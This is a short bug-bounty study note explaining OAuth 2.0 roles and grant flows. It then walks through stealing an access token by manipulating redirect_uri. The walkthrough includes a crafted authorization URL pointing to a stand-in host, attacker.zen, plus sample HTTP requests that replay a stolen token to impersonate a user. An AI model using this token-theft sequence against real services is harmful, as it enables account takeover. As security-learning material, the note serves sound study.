OAuth

OAuth - Authentication - Authorization - Bug Bounty - Credentials

What is OAuth 2.0

Is giving a user a resource key from an application which enables the user to get acces to another applications specific data like user or work info. This all happens without using a password.

OAuth entities

Entity
Description

Resource Owner

Owns the resource like a photo (resource)

Client

Service requesting access to photo (resource)

Authorization Server

Server authenticates resource owner and gives access tokens to client

Resource Server

Server hosting the photo (resource)

Example:

1

Login

Joe uses login with zenlogin.com on zenprint.io, redirected to zenlogin.com

2

Login zenlogin.com

Joe logs in and gives acces to his photos on zenprint.io. It receives a authorization grant to zenprint.io

3

Authorization grant

zenprint.io presents authorization grant to zenlogin.com

4

Authorization grant validation

zenlogin.com validates the authorization grant and issues an access token with acces to photos on zenprint.io

5

Access token

zenprint.io presents access token to zenlogin.com API endpoint to access the photos.

6

Validation token

zenlogin.com validates the token and provides the photo.

Authorization Code Grant vs Implicit grant

Most common and secure is the authorization code grant which follows the flow shown above. The implicit code grant is shorter because the authorization code exchange is skipped. This results in exposing acces tokens in the browser. Client-side Javascript application might use this.

Stealing OAuth Access Token

If an attacker is in able to impersonate the victin by stealing their access token by manipulating the redirect_uri to the attackers system. This can happen if the redirect_uri is not properly verified.

  1. Create manipulated redirect_uri

http://zenlogin.com/authorization/auth?response_type=code&client_id=0e8f12335b0bf225&redirect_uri=http://attacker.zen:57669//callback&state=something
  1. Obtain cliend_id by using own credentials.

  2. Deliver ilnk to victim

  3. Receive authorization code and force an acces token

GET /client/callback?code=A0FCQUFBQm1BeHdCNEZEQVdxMFR0Tl9aSEg0SThQME9SU2s2V3Y3VE9teTM2V0JLcDRTM0Jwc0NBMG9Oc09vNGlqWjNZMDFVcGlsR3ZnWmdmRzJ3Q0wtdGtSbWNqXzBHY0o4RzBtMzlKN2h3WFlNcjltc2drNkNFUlAzcnJzUTd6SnVFbTJCWmZ6WDYtVm13V1pSRW5kMlBqcWRnQkVReUZRPT0&state=something HTTP/1.1
Host: zenlogin.com
Cookie: state=somevalue
  1. Impersonate using token

GET /client/ HTTP/1.1
Host: zenprint.io
Cookie:  access_token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imh0Yi1zdGRudCIsImlzcyI6Imh1YmdpdC5odGIiLCJleHAiOjE3MTE0ODQwMjAuODQ2M <snip>

Usually the redirect_uri is validated using a whitelist. Depening on the validation there might be potential bypasses.

If a state parameter is not present a CSRF might be possible.

XSS

In particular reflected XSS occurs. Reflected XSS occurs when a value from the request is reflected in the response.

Source: Geeksforgeeks

Last updated

Was this helpful?